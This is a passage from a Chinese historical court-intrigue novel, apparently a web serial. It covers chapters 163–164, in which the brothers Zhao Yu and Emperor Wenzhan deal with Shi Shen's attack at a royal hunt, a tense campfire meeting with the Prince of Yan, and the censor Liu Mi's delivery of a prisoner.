越筝终于点头,“好,你想要什么?” 石慎,“求条活路。” 越筝,“石府上下我只能保一人性命,我给你们石家留个后。你自己看,这个人是你,你弟弟,你妻肚腹中的孩儿,还是,你爹外室的庶弟?” 石慎豁然抬眼,直勾勾的看着雍王。 此时窗外月光倾泻。 越筝也看着他,眼神竟然是和煦的,温润似昆仑的玉,他就在木椅上安坐,如同坐在云端的神,看着凡人骨肉反目,兄弟阋墙,父子相残,却露出了笑容。 毫无怜悯。 …… 石慎,“北境向雍京发了一道六百里加急,一道八百里加急,近三百年来,此等紧急军情极其罕见,即使当年赵先生远征西北,也只用了一道六百里加急回雍京报捷。” “高昌王战火烧到山海关,微音殿上连续数日召集重臣议事,看似急之又急,可是,北境有徐绍,有定国公裴檀,山海关有白策,都是不世出的名将能臣,手握雄兵,并未听说溃散。” “而微音殿数日的议事,除了将有领兵资格的王公与亲贵大臣们困于禁宫之内,围住在雍京的藩镇家族府邸之外,似乎也没有进一步的旨意。” “所以,赵先生,这北境的军情,究竟是急,还是不急?” “怎么不急?”赵毓却笑了一下,“今日这场田猎是干什么用的,石世子不会不知道吧。” “我自然知晓。”石慎,“只是不知道,这入猎场的众人是猎人,还是终究做了别人的猎物?” 赵毓站着没动,甚至眼睛也没看向自己的马匹,“世子的话,真是越来越令人难懂了。” 石慎,“赵先生难道不好奇,我石家这种几乎已是死罪难逃的人,怎么还能进南苑?” “自然是圣上仁厚。”赵毓,“陛下以天下为重,任人唯贤,能平北境兵灾之人不拘泥之前功过,如此可使你石氏满门度过天劫的良机世子千万珍惜,莫在这里与我废话。” 石慎咯咯笑了几声,让赵毓想起十几年前,就在朱仙镇,那夜大雨,风雨狂啸,树上惊起的老鸹也是如此笑声,凄厉而绝望,甚至还有一丝不易察觉的疯狂。 随后,他听见石慎说,“因为我们是蛊虫。” “赵先生,你看,如今这南苑被雪鹰旗重兵把守,这是陛下的私兵,即使漫山的王公贵戚,却无一人可插手此时猎场的布防。” “像不像一个密不透风的罐子?” 说着,石慎手中弓忽然抬起,他抽出一支长箭,搭在弓弦之上,对准赵毓,“猎场之内发生意外也是在所难免,只是祈王殿下出师未捷身先死,当真是生命中极致的无奈。” 山口河谷。 有风在吹,水流潺潺。 有那么一瞬间,赵毓竟然当真动了心思:——此地竟终成他埋骨之地,未知好坏? 一支极细的箭却自极远处破空而至!快,快到令人恐惧的地步,径直切断石慎的弓弦,钉在河谷碎石之上! 马蹄声,如同雷霆风暴,狂风怒啸! 极品西域良驹! 似银又似金色。 如此神骏,可日行三万里,可驮穆天子觐见西王母,可使无数帝王耗尽国力远征! 随着细箭钉碎了河谷的碎石,人与马俱到石慎赵毓眼前。 石慎看到三支细的箭,搭在弓弦之上,直勾勾的,全部对准他。 手指上是极品昆仑玉与玄铁做的指护。 那人似乎是一尊玉雕,只是那双鸦翅一般的眉,秀致却冷然,显示出作为人的情绪。 ——盛怒! 只是,此人的装扮已与在绮镇时不可同日而语。 那时他是青衫。 此时,…… 黑色缂丝猎袍,山河地理纹路,五爪金龙映着光,闪着冷芒。 …… 雍王十九岁,面容带着少年的娇憨,只是他那双鸦翅一般的眉,竟然使他生出几分冷然的俊美。 “世子坐。”越筝吩咐,“看茶。” 一位侍女手捧楠木托盘,上了两盏岐山云雾,随即退下。 “世子夤夜前来,怕是无事不登三宝殿吧。” 越筝端着茶盏,轻轻喝了一口,没听见石慎说话,他微微挑眉看了一眼,“怎么?” “殿下好样貌,这道眉生的好。”石慎忽然说了这么一句,显得前言不搭后语的。 越筝则笑,“倒是很少听人这么说。”他放下茶盏,“我长得像陛下,眉毛尤其像。只是私下不可议圣,自然不会有人说我长得好还是不好。不过从小到大,宫里人都说我与六哥很像。” …… “陛下!” “陛下容情!” 燕王的马也到了。 他声音劈裂,如同金石碎开,几乎都劈到了嗓子里。 他身后是诸位世子,赵毓留下的三十六随扈侍从,皇帝此次随行的雪鹰旗,林林总总约三百人马,席卷而来。 燕王滚鞍落马,站立不稳却无暇顾念这些,他几乎是冲到石慎马前,一把揪住他,全力拉拽下来,按于文湛马前。 石慎就这样趴跪于河谷旁的岸边。 燕王冲着文湛的马也跪了,未敢抬头,“陛下,他就是随侯世子石慎,一直征战在外,因而未曾有幸觐见。” 赵毓想起,当年他问过崔珩,关于他同石慎之间的恩怨要如何了结,崔珩说过:“石慎有王命在身,自己人,处置起来麻烦。先帝下旨亲封的随侯世子,名字写在大郑三十二侯府的名牒上,可以抓,可以杀,但必须是重罪,必须证据确凿!否则,就是让满朝勋贵家族寒心。” 如今,燕王也是如此,他居然叩了头才继续说,“石慎今日所犯罪孽,可以重兵扣押,可以重刑审讯,但是,绝对不可以私刑射杀,望陛下容情。” “大王兄如何看?”文湛说话的时候已经恢复了冷静,金石之音却轻而飘,只是他手中的弓箭并未偏移,依旧死死瞄住石慎,狠狠钉住。 闻言,在场众人的眼睛齐刷刷看到赵毓。 一些亲近的王族子弟知道,二十几年前,他们在毓正宫读书时,文湛也是这样称呼赵毓的,——大王兄。 而其他人,则是第一次见到文湛与赵毓如何相处。 赵毓,“燕王叔,这话怎么说的,陛下何曾想要私刑射杀?” 众人心中一凛,——你当我们眼瞎? 却安静如鸡,一言不发。 燕王此时也知自己心急说了错话。只是,如果只顾忌言语滴水不漏,却放任皇帝射杀石慎,在今日之猎场,于大局极其不利,不是社稷之福,甚至可能会酿成祸端。 因而,他又重复了一遍,“陛下,随侯世子石慎一直征战在外,因而未曾有幸觐见,您不认识他。” 谁知,文湛说,“见过。” 燕王极端意外,他甚至不顾君前失仪的重罪而径直抬头,看着皇帝。 逆光。 此时,燕王竟然看不清楚文湛面容上任何表情,只能看到他身上黑色缂丝猎袍的锦绣,在猎场山河之间华彩纷呈,却透着刺骨的寒意。 他随即看赵毓。 而赵毓则罕见沉默了,眼睛看着燕王,却没有丝毫交流,像个人偶。 ——嘶! 皇帝手指一松,箭弦微弹,特别细微却极其凶险的一声,像是要把人于无声之处切割。 三支细箭全部射出! 擦着石慎的脸颊头皮,射向他身后,一只鹿。 鹿咽喉处中箭倒地。 石慎箭伤破裂,血流一地。 文湛收弓,用他平时在微音殿那种似乎高声一些就能累死的声音说,“石慎即刻收押。” 随即下马,到燕王面前,“王叔平身。在猎场,不必如此拘泥。” 石慎被雪鹰旗重兵押走,消失在猎场之中,悄无声息,而文湛对于他“见过”石慎一事没 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燕王听着,总觉得哪里不对劲,可是又委实说不上来哪里不对。 不过,没等赵毓再说什么,皇帝立刻下令,将他猎杀的鹿带回猎宫中帐,同时回返猎场河谷。从此时起,一直到入夜,猎场平稳,各位王世子、贵胄子弟们竞相下场,整个南苑杀戮不断,各种猎物堆积如山。 掌灯,黄枞菖到燕王大帐。 燕王,“黄秉笔,可是陛下宣召?” 黄枞菖犹豫了一下,像是仔细斟酌言辞,“王爷,奴婢并非奉诏,而是……,不过……” 燕王,“可是承怡让你过来的?” 黄枞菖,“是。” 燕王,“陛下也在?” “……”沉默了一下,黄枞菖点头,“是。” 燕王大帐到猎宫主帐并不远,因而,他们两个人走着过去,没有骑马。这一路,两人并无闲聊的情分,于是燕王便查了猎宫周围的布防,一眼看出是赵毓的手笔,——粗略一扫并非密不透风,细细再一品,壁野坚清。 此时,他不免有些感慨。 幼子奉宁在西北跟随赵毓十年,获封琅琊郡王,原本就性子沉静,如今长大了,在雍京在军方也算能担得起一些事,带兵颇像赵毓的西北军,只是,他在缜密或者说在心智上与赵毓相比,失之毫厘谬以千里,而这却是学不来的。 就像赵毓自己说的,他们叔侄十数年未见,他对赵毓所知甚少,其实就算当年他们能见面的时候,燕王自己常年驻外,听到的不过雍京只言片语,尽是先帝对长子无尽的偏爱,还有祈王骄纵的传闻。如今一回顾,虚虚实实,有藏锋于拙,有帝王谋略,也有不足为外人道的隐情。 赵毓于东宫就学,具备入中枢成为清要文官的底子,甚至可以说,他适合做元熙阁臣,这与一般亲贵王公大不同,再加上透过奉宁的言行可窥“西北王”,赵毓此人,当真是不世出的帅才。先帝当年孤注一掷,将西北托于此人之手,足见父子二人心志坚定,深谋远虑。 都说先帝血脉凋零,可是留陛下与赵毓二子,却是社稷大幸。只是,他们二人的关系过于耐人寻味、异样而古怪,外人好自处,只要远离即可,可自己身处中枢,此间分寸实难拿捏,此番到猎宫中帐竟有些忐忑。 赵毓拿着一件披风到殿外,“燕王叔只不过随口一说夜里想用烤兔子佐酒,陛下还真上心。” 文湛将手中的铁叉子离开火堆,放到一旁,“近来王叔对你颇为照顾,我怎么也要表达一下感激不尽。” 赵毓叹口气,“既然陛下知道王叔善意,何苦动手烤六只不是黑焦无法下咽就是半生不熟的兔子,为难王叔?” 文湛,“亲手烤制,是朕的心意。” 夜风乍起,篝火一下子舞动起来,没有燃尽的灰带着火星子随着风回转着。 赵毓用手中的披风为文湛挡了一下,又随后抖了抖,散开叠着着披风,给他围了,“陛下在大帐外烤了许久的兔子,虽然手艺凄惨却是真心实意。可俗话说,实心眼儿的人爱着凉,最近雍京一直下雨,夜里寒,您披上这个,省得您难得实诚一回,别再着了凉。” 赵毓穿着广袖的长衫,抖披风的时候,袖子敞开。 此时,燕王随着黄枞菖也到了,他不远不近看到,赵毓的手臂绕在皇帝的脖颈上,给他披上披风,只是,这条胳膊:——苍白细瘦,皮很薄,篝火的火光映照上去,手腕处甚至还有一些极细的青蓝色血管在蜿蜒缠绕,像极了名贵的瓷。 这条手臂,……??!!! “王叔。”赵毓先看到他,笑着招呼他,“夜里凉,您来火堆这边。” 燕王,“¥%&……” 赵毓听见他似乎说了什么,但是又没听清楚,就问,“王叔,您说什么?” 燕王,“胳膊……” “胳膊?”赵毓想了想,才说,“前几日在您封地,您不是训过我了吗?一着不慎,被昔年爱宠伤了,无法拉弓,说出去不好听。不过,我能用弩。今天白天石慎那事儿也是事出突然,我下马到河边洗手,弓|弩俱备,只是都在马鞍上挂着,石慎过来将我与马间隔开,弩不在我手边,这才险些着了他的道。” 燕王现在脑子乱到要炸的地步!所思所想全是昨天夜里在大正宫的那一池雾气潆绕的水里,皇帝一副“荒淫暴虐”的样子。还有,他怀中那个裹着黑色缂丝衣袍的男人,吊在脖子上那条如同稀世名瓷一般妖娆的胳膊。 此时,他仔细听了听赵毓说话,似乎听明白了,又似乎没有,只能撒呓挣般重复了赵毓话中一个词,“爱宠……??” 赵毓一顿,“王叔,如今北境战事一起,我与高昌王的旧事在军事上的确让诸位重臣有些疑虑。那时我年轻,性子顽劣,如今大不一样了,这些陛下都知道。” 文湛一直听,也不说话。他的眼睛和面孔一直冲着火堆,愈发像尊白玉雕像,虽然烤着火,却散着冷芒。 “王叔。”赵毓又说,“最近多事之秋,您回雍京来,咱们还没沉心坐下,好好说说这些事。今夜在猎场正好是个机会。这里有几只烤兔子,卖相不好,想必味道也不好,您先坐,我还留着几斤酱牛肉,给您取过来佐酒。” 他说完,转身回猎宫。 而燕王跟随黄枞菖到篝火之前,皇帝披着披风安静坐在火堆旁,然后,抬头看了看他,燕王就觉得自己头皮一麻。 文湛抬了抬手,指向火堆旁边一个蒲团,“王叔坐。猎场,不必拘泥。” 燕王遵皇帝旨,坐了。可,不知道怎么了,他就是一种如履薄冰的恐怖感觉,挥之不去。 163. 163 163 猎宫内,赵毓让此次随圣驾到猎宫的内监准备了还算丰盛的酒馔,对黄枞菖说,“你给端出去,顺便,……”他一把子揽过来黄枞菖的肩膀,在他耳边极细微的声音说,“黄瓜,我总觉得燕王叔好像知道了些什么,你送酒菜过去的时候,伺机探探虚实。” “不是,……王爷,我那个啥……”黄枞菖感觉自有些语无伦次,“我刚想起来,柳掌印一会儿从雍京大正宫送司礼监的折子过来,我得去迎迎他。” 赵毓拍了拍他的肩膀,特别仗义,“我替你去接柳丛容。” 黄枞菖被赵毓揪住后脖领子,双手端着木盘,一挪一蹭地走出去。 赵毓站在猎宫大殿门口,看着他走到那堆篝火,这才微微叹口气,甚至还保持着之前的姿势,头未扭,身子未回转,轻声问,“九爷,十四年未见,别来无恙?” …… 黄枞菖到篝火这边的时候,突然打了个寒颤,明明是盛夏,却犹如严冬骤降。火堆熊熊燃烧,围着火堆坐着的两个人,却都沉默不言。 黄枞菖将木盘端过去,听见文湛问,“承怡呢?” “柳掌印从雍京过来,有司礼监的折子,王爷去看看。” 文湛,“可是北境的军报?” 黄枞菖,“不全是。还有一些折子有关南方的田土、海上贸易,云贵边境的冲突,与运河、黄河、淮河的河工奏报。” 文湛听着,不再说话,示意黄枞菖将酒菜布好,这才对着一直端正跪坐于蒲团之上如同泥塑一般的燕王说,“王叔。” 燕王连忙以端正跪坐的姿态躬上身,“陛下。” “承怡的一些心意。”文湛浮动了一下袖子,他衣袍上堆了满绣的山河水纹艳极,而从袖子中露出的手指尖莹莹玉色,大略指了一下眼前这些东西,说,“御膳房做的菜蔬,如果王叔觉得不合胃口,这边还有朕亲手烤制的六只兔子,供王叔佐酒。” 燕王,“……” …… 柳丛容一行人马到猎宫已经是深夜。 雍京大正宫微音殿的折子送到猎宫,需先装入紫檀木箱,再用红色的漆火封,由专门的人使用牛皮锁捆绑于身,加之内廷、缇骑与御林军的护送,因而,林林总总也是一队人马。 他有些意外,等候的人是赵毓。 “虽然是盛夏,可是南苑这边开阔,夜里起风,这里比雍京要冷一些。”赵毓身旁是这次随侍的几名内监,手中捧着叠得整齐码得高高的披风,“灶上已经备好了热汤面,卤牛肉的浇头,另还有一些今天猎场射杀的猎物,烤到香脆嫩滑,正好下酒。诸位辛苦,将木箱交接之后,先用饭吧。” 众人自然是千恩万谢,场面很是融洽。 等人马散去,屏退左右,赵毓凑近柳丛容,压低声音问,“裴檀那边确认了吗?” “是。”柳丛容,“定国公密报,高昌王身边有一汉人谋士,正是随侯幕府穆慎之。去年陛下密旨随侯全家拘回雍京,甚至连他在北境新纳的侍妾与其幼儿均在其列,唯独走失了幕府穆慎之。” “这有啥?”赵毓倒是一笑,“穆慎之又不是随侯房中人,不陪他睡觉自然不是一家人。书房的幕僚,走失就走失吧。” 柳丛容,“……” 赵毓,“我知道他走失,并且在外依旧活跃,前些日子他托人把我当年送给小殷的海黄手串又给我送了回来,我才知道他居然和高昌王过从甚密。不过,结交外族与彻底沦为高昌王的幕僚,即使都是通敌叛国,说到底,还是有些不一样的地方。” ——不过是灭三族和灭九族的区别。 柳丛容心中一叹。能多活一些人,总是好一些。自己与赵毓都是灭族大祸中存活下来的遗孤,对于这种一道诏令数百人头落地弥天大祸,总多一些不忍。 “你先去吃饭,有什么事明天一早再说。”赵毓拍了拍他的肩膀,“燕王陪陛下喝酒,我去看看。” 柳丛容,“是。” 赵毓原本想着,都这么晚了,文湛和燕王的酒怎么也喝得差不多了,等他过去,寒暄两句就让黄枞菖送燕王回自己的营帐去。 结果,…… 文湛、燕王还有黄枞菖,像三尊泥菩萨一般。他们面前的酒菜,还有那六只烤兔子,均是全须全尾存在着。 “你们……”赵毓试探着过去,“是在坐禅吗?” “不是。”文湛听到是他,声音顿时活络了起来,“朕与王叔在微音殿见过,知无不言言无不尽,如今,倒是没有那么多话要说。只是,猎场杀意稍歇,夜里有亲人相伴,随风酒意飘出,安静坐一会儿,也是难得。” 闻言,燕王抬头看着赵毓,那个表情,那双小眼神儿,似乎都是在诉说: ——难得,真难得,这可真是太难得了!!! 赵毓赶紧笑着附和,“陛下说得极是。” “既然大王兄来了……”文湛见赵毓过来火堆这边,在自己旁边坐下,他说,“趁着王叔也在,我到真有一事,不知道应该不应该说?” 燕王被皇帝这套阴阴阳阳的弄得完全不知所措。此时的文湛,与微音殿上那个仿若“敬天法祖”化为人形、大郑列祖列宗显灵一般的帝王,判若两人! 赵毓一听文湛他叫“大王兄”,就知道一准没啥好事,于是连忙赶紧张口,“陛下,我为人愚钝,给您做臣子是费点劲儿,总想着揣摩揣摩一二,看看怎么才能合您心意。可是燕王叔教导,为人臣子揣摩圣意就是死罪。我秉承王叔教诲也不敢再揣摩了。您有什么事情,您直接吩咐,微臣必当鞠躬尽瘁。” 燕王,“%??!!” …… 今日,在猎场河谷水边,燕王叹口气,“陛下命你为随扈王公,可是,陛下也将随侯世子石慎放入南苑,承怡,你可知深意?” 赵毓,“我从不揣摩圣意。” 燕王,“因主上无所谓臣下这些恩怨。……天威难测。承怡,我让你小心谨慎,不能再乖张跋扈,就是怕这个。你说你从不揣摩圣意,何等骄恣?虽说探知上意一味迎合为佞臣,可为人臣子却不屑于君父意图,一味放纵,是为大不敬。” …… 对于是否揣摩圣意,赵毓这个大侄子的说法,当真是翻手为云覆手为雨,指鹿为马,颠倒乾坤。 上午那个赵毓与如今这个赵毓,同样判若两人!! 燕王有一种活见鬼的心境。 可文湛听着,却是低头微微一笑,文秀隽永,随后,他转向燕王,“王叔。” 燕王胆战心惊,“陛……陛下。” 文湛,“我想与您说说,承怡的婚事。” 燕王相当意外,他看赵毓,没想到赵毓也是意外,不经意微微挑眉。结果,燕王发现,赵毓这个表情像极了微音殿上那个玉雕一般的皇帝,于是,愈发意外了。 文湛,“十四年前,王叔屯兵于大鲜卑山,因而承怡大婚,王叔并未回雍京喝喜酒。” 其实,…… 即使燕王未曾京外驻兵,当时,也不会去喝赵毓新婚之酒。 那个时候,赵毓被先帝下旨褫夺王爵,废为庶民,而“姬承怡”的玉牒依旧供奉于岐山神宫白塔之上。这件事,先帝知,作为王族大宗正的燕王知,却不欲声张。 文湛的声音异常空灵,仿若留存于先帝凤化末年的一缕丝,穿透了十四年的光阴,飘然而至,“王叔并未见过尹家那位嫂嫂。” 不知道是不是错觉,燕王总觉得“嫂嫂”二字从皇帝口中出来,有一种极其细微的不对劲,可是想要描绘出来,却又完全无从着手。 于是燕王只能回应,“是。” 文湛,“外人只知道这位祈王正妃出身西北藩镇,一场联姻,从此,尹氏成为祈王总摄西北军政大权、平定西疆数百年战乱的最大助力。” “可是……” “他们却不知道,尹家那位嫂嫂与我大王兄,……” 皇帝的声音突然断了。 燕王就觉得,自己的心脏被人猛然揪住,一身冷汗骤然而出。 恐惧! 一种,猛兽不曾泯灭的本|能。 他看向赵毓,可是,赵毓却同今日白天在猎场一般无二,沉默着,眼睛看着他,却没有丝毫交流,像个人偶。 突然,文湛 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可是,文湛却又笑了,似月光拂过,清冷却击破黑夜,“这些年,尹家对承怡的恩情,我知道;尹家走到哪一步,我知道;承怡与高昌王的旧事,我也知道;承怡与他心仪之人的事,我还知道。” 燕王,“……” 文湛,“我知自己平庸,政绩无法同大郑历代圣王相提,可我绝非昏聩无能之辈。莫说承怡是我兄长,即使是他姓臣子,忠心若此,功绩若此,我也绝不相负。王叔还有什么不放心?” 时间似乎过去很久,又似乎没有,留在文湛言语停歇之处。 篝火依旧熊熊。 燕王却早已经离去,黄枞菖送他回帐。 赵毓其实想要说些什么,对此时的文湛说些什么。 只是,他张了张嘴却发现: 此时,对于他,对于文湛,任何话语都是多余的。 少时,面对文湛如波涛烈焰般的情感,他总是认为自己“得之有愧,却之不恭,失之天命”;而他的那种温和绵密却沉默的感情,对于文湛而言,如水流潺潺却过于隐蔽,文湛也不在乎。 他曾经以为他们会永远错过。 所幸,他错了。 “那几只烤兔子都凉了。”文湛忽然开口,“方才,燕王叔落荒而走之时,应该给他带上两只,回去可以给他那个小儿子尝尝。” “呃,……”赵毓,“陛下想要顺便以半生不熟的烤兔子荼毒的倒霉蛋,可是琅琊郡王?” “嗯。”似乎,文湛的鼻孔中出了个声音。 赵毓低头笑了笑才说,“奉宁挺好的。” 文湛,“是吗?” “嗯,是的。他严谨守礼。”赵毓,“前些天在绮镇他同我说,知道我回雍京之后,他一直想过来看看我,只是,怕坏了你的规矩,所以一直请旨。”此时,他扭头看了看皇帝,文湛却看着火堆,观之于火光之下,如同深渊地穴中惊世骇俗的宝藏。“只是,你一直没答应,他也就没来,……” 文湛哼了一声,“他在西北十年,什么没看够?” 此时,赵毓当真轻轻笑出了声,“陛下,其实,这些天我当真有些郁闷,有些话,对你,对燕王,不知道要如何说……” “承怡。” 文湛这一声称呼,端庄,甚至有些肃穆。 赵毓微怔。 文湛,“我说绝不相负,不为私情。” “为人臣子,不能以一己功勋陷主上于困境;可是为人君父,也不能以一己权私,陷忠臣于万劫不复。” “我既是大郑的君王,这千年社稷,九州万方,就必须承担。” “这是责任,更是权力!” “只是,……” “于凤化为人子,于元熙为人夫,毕竟不同。” “哥哥。” “你既然做了我的夫婿,那么,这些事,也是你要承担的。所以,哥哥既然郁闷,那就多郁闷两天吧。” “也显示出哥哥对我的爱重。” 赵毓,“……” 164. 164 164 寅正一刻。 柳密奉命到南苑猎场。 空旷。 风吹过来,火把爆裂,燃烧松香的同时也应着这呼啸的夜风。 他抬头望了望。 风吹起来他官服的宽袖。 经年寒窗苦读,家乡与雍京寅初的天空,柳密见过不知凡几,此时,当真说不出,头顶这片遥远浩渺的,究竟是夜空还是即将白日的天空。 按照雍京钦天监的宣文,寅时是黎明之前,夜与日的交界,似薄黑色纱幕笼罩即将破晓而出的太阳。 “柳大人。” 镇守南苑猎场入口的,正是雪鹰旗。一队人马,大约三百来人,分别扼住此地几处关隘,而此时,与他说话之人正是雪鹰旗五品镇抚使元笺。 雪鹰旗因是皇帝私兵而地位特殊,见到朝廷官员自有一种傲然,可面对柳密则要温和一些。毕竟,柳密贵为一品,且圣眷正隆。当然,还有一点就是,此时的他,依旧是都察院左都御史,大权在握。 “已经核验完毕。”话音落,元笺双手奉上牛皮纸封印的卷宗,上面压盖着都察院的大印,正方形,大篆雕刻。“请大人明示,人犯在何处?” “囚车上。”柳密手指了一下身后,重兵押送一辆精铁打造的囚车,蒙着厚重的黑布,“只是,都察院押送的重犯,元镇抚使可有权验明正身?” 元笺交还柳密卷宗,抱歉一句,“柳大人请稍等。” 随即,他从旁边的木栅栏上拎过一盏气死风灯,向后面一间临时搭建的茅草棚子走过去。 随着灯盏移动,柳密才看见,那边有一个遮风挡雨的窝棚,一张长条木板凳,两个人。 这两个人的姿势有些怪异。 一坐,一立。 坐着的那个人,一张面孔直接压在站立那人的腰腹之间,睡眠正酣。 眼力不强悍的人无法分辨,此人看似昏睡,实则醉酒。 元笺伸手,轻拍了拍那人的肩。 站立之人,也是伸手轻摇了摇了他。 柳密挑了一下眉,——使一酒醉之人为重犯验明真身,雪鹰旗做事情何时变得如此潦草? 只是,…… 灯火明灭,柳密看到那边二人衣衫服色,当下了然,居然低头笑着摇了摇头。 站立之人身上之衣物,正是司礼监秉笔大太监的蟒袍。 而酒醉不醒那人的服色:猎装,黑色缂丝,窄袖,衣襟上用彩色丝与金线织就而成的山河纹。 十几年前,柳密第一次在卢沟晓月看到他的时候,他也是这样装扮。 ——黑色缂丝猎装。 于今日之南苑猎场,则是最尊贵的存在。 杀戮的权力。 这象征着宗室血脉,角逐北境兵权的资格,他日裂土的无上尊荣。 “这个点儿……半夜三更……连撒呓挣的都回被窝睡觉了……”那人嘟嘟囔囔,“谁啊,怎么大晚上不搂着老婆睡大头觉,从雍京送人过来?” 元笺些担心。皇子王孙自小同内宦一同长大,与这些宦官的举止自然是亲密了些,可是在位居枢机的清要文官眼中,这种动作就属于大失礼数,狂悖暴逆,尤其是柳密此等活阎王眼中,更是罪加一等!况且,柳阎王弹劾的奏折可直接递进御前。当真到了那步田地,可真是无妄之灾。 元笺连忙说,“是都察院柳大人亲临。” 闻言,赵毓连忙揪着黄枞菖的衣袖抹了把脸,黄枞菖又趁机用随身带着的葫芦喂了他几口醒酒汤,他这才歪歪趔趔地站立起来。 “柳大人,公忠体国。” 雍京官话,清,透,如同白琉璃。似乎,方才那个胡说八道的人,不是他赵毓一般。 柳密也是一乐,“赵先生,这是喝了多少酒?” “不多,不多。”赵毓连忙摆手,一个没抓住黄枞菖的胳膊,险些直接摔地上,“就喝了三个烤兔子头。” 柳密,“赵先生说笑,这酒水的量,还能用烤兔头算呢?” “能啊,怎么不能?”赵毓说着,伸出一只手指,“一个烤兔子头,配一壶酒。” 柳密,“兔头佐酒,不错。” 元笺看着他们两个说话,心中都开始忐忑了: ——柳总宪怎么改脾气了?今天这活阎王的脾气,好得有点吓人! 赵毓,“正经二百七十年的窖藏,不是甜酒酿!当年老祖宪宗皇帝埋在猎宫的私藏,这么多年一直没舍得挖出来,也就没舍得喝。这回,咱一口气挖了十坛子酒,估计老祖也不见怪,让子孙们解解馋。还有三坛没启封。柳大人,你有口福。这深更半夜的,孤寒啊,忒孤寒。你从雍京到猎场真是辛苦了。这猎场空,没个遮挡,小风一吹飕飕的,可凄冷了。走,咱喝酒暖暖去!” 说着,他就要先前走一步,一裂歪,黄枞菖连忙扯住他的胳膊,“祖宗,您悠着点。” 柳密则直接问黄枞菖,“怎么回事?” 黄枞菖苦着脸说,“今天兴致好,与琅琊郡王交接完防务,就多喝了几杯。本来睡了,谁想到徽郡王世子过来,说都察院押送重犯,已至南苑,需过来验明正身,这不就来了嘛?” 柳密,“这事并非临时起意,旻铉世子难道没有提前告知?” 赵毓拦截话题,“九爷?他来晚了,没吃上兔子肉。这兔子吧,都凉了,我让他们切了切,用辣椒孜然重新烤。西疆的做法,我们在拉莫孔雀河边就这么吃。那个地方好呀,香料多,枯树多,鱼也多,……” 黄枞菖扯了扯赵毓,让他别站着,重新坐回长条板凳上。赵毓不再说话,照旧靠着他,脸颊贴着他的蟒袍,闭了眼睛,不一会儿,迷糊起来。 黄枞菖,“柳大人,这事儿吧,……您也知道……” 支支吾吾的。 柳密,也不说知道,也不说不知道,就这么看着他。 黄枞菖,“我家王爷得避嫌。” “他不是你家王爷。”柳密,“黄内相是司礼监秉笔,不是赵先生府上家臣。” 黄枞菖叹气,“我就知道自己张嘴就是错。” 柳密,“既知是错,就需改。” “我改!”黄枞菖点头,似乎下定决心,“咱这么说,柳大人,您也知道,赵先生自敦煌裁撤西北军,已经卸甲了,如今他入猎场,不过是作为王族子弟随扈陛下,身上已无军职。您说,这为重犯验明正身的事,是不是,就不要为难他做了。” 柳密,“可此人,也只有赵先生能验。” “不一定。”黄枞菖,“徐总督那大儿子,不是还在雍京吗?让他验。” 柳密看了看他,又看了看趴在黄枞菖身上已经睡着的赵毓,“这重犯,我还得再押回雍京?” “别呀!”黄枞菖,“您走一趟也不容易,别再折腾了。您让徐将军来一趟呗。” 柳密微微抬眼,看了看黄枞菖,此人却无任何诡秘表情,一张脸特别真诚,真诚到都有些贤惠了。 “原来,黄秉笔挖了坑,在这里等我呢!” 黄枞菖,“柳大人这话说得,不合适,当真不合适。” 徐绍人在北境,兵符未缴,南苑已经开启一场围猎。虽然名目只是避暑,可真正目的却是在王族贵胄子弟中遴选一将帅之才,接管北境军机要务。 徐绍长子徐玚,已无法返回北境,只能耗尽心机留在雍京,得一安静之所。如今,王族贵胄尽在猎场之内,看来,徐玚也无法继续独善其身。 柳密点头,“好。” 黄枞菖,“诶,这就对了嘛。” 柳密,“只是赵先生……” 黄枞菖,“我搀回去,不用您挂心。” 柳密伸手一拦,“夜里风寒,赵先生醉酒,这一来一去的也着实辛苦。我看这里尚能遮风避雨,不如就请赵先生将就一下。等到天亮,赵先生酒醒,那时,徐将军也应该到了。有他二人在,重犯定能验明正身,我督察院也好交差。” 黄枞菖,“一定要如此吗?” “是。”柳密说,“此人是赵先生旧部,身涉重案,此时若缺席,恐生变故。” 黄枞菖知柳密此人公道,对于他说的这话也心知肚明,于是点头说,“我这就回大帐,拿一些毛毡盖毯过来。” “不用。”柳密,“我那里就有。” 说实话,黄枞菖确实有些意外,不过也只是说了一句,“多谢。” 柳密命人取过来毛毡盖毯,铺好,赵毓则歪着躺好,就着姿势,倚靠在黄枞菖身上。 柳密看见他们,忽然就想起流言。 其实当年雍京也传过,黄枞菖是赵毓的禁脔,所以即使他人在西北,而雍京城内、微音殿上,依旧有他的私人。 对于这件事,柳密并不相信。 不为别的,只是因为,主上此人,绝不允许身边有其他人的耳目。 可是,黄枞菖与赵毓如此渊源,任谁也无法漠视他们的亲厚,主上任此人在微音殿,…… 当真没有半分猜忌。 无论对黄枞菖,还是对,……,赵毓。 他记起,元熙四年,皇帝在微音殿问过他一句话,——柳密,你是否与我兄长相识? 黄枞菖忽然说,“我自小就是他的伴当。读书人认为同我们这种人亲近是为悖逆,只是,……” “我知道。”柳密,“黄秉笔,我知你为人,我亦知你们亲厚,这是人伦不是悖逆。我还记得当年在卢沟晓月,你拉我一把,救了我的性命。” 黄枞菖看着他,柳密给他们铺足了毯子,自己却站在草棚之外。 “只是,我不是宗室,而外臣不得结交内宦,是祖训。” 此时,黄枞菖方感受到柳密的善意。 大郑祖训,外臣不得结交内宦。可如若当真出现勾连,重臣与天家奴婢,孰轻孰重?谁可以继续做士大夫,而谁顷刻之间灰飞烟灭,显而易见。 “黄瓜……”赵毓忽然开始嘀咕,“这酒当真不错,你偷着再挖两坛子,咱带走。” 黄枞菖,“祖宗,还惦记着呢!以后可不敢再给你喝这么烈的酒。” “不是。”赵毓说着,还伸手摇晃,“我想着你爹娘不是快到雍京来了吗?你买的新宅子总得温个锅吧,咱带两坛子好酒过去,让老头老太太也乐呵乐呵,再支口锅,炖半扇猪……” 说完,他像是根本不知道说过什么,头一歪,继续睡。 黄枞菖只是扯了扯裹在赵毓身上的毯子,让他暖和一些,手指却垂了下来,没有搭在赵毓身上,而是按在木板凳上。 柳密则退守至囚车的位置,吩咐兵士为车上重犯递喂几口牛皮囊袋中的水。此时,赵毓则睁开眼睛,沉默地看着柳密的后背,也看着他面前那辆囚车,与囚车上的重犯,眼神清明,没有丝毫醉酒的痕迹。 南苑北部。 徐玚到猎场的时候,天光已大亮。他老远就看见柳密。这位都察院的总宪大人权柄极重,威仪极盛,身上紫蟒在东升旭日光照下熠熠流彩。 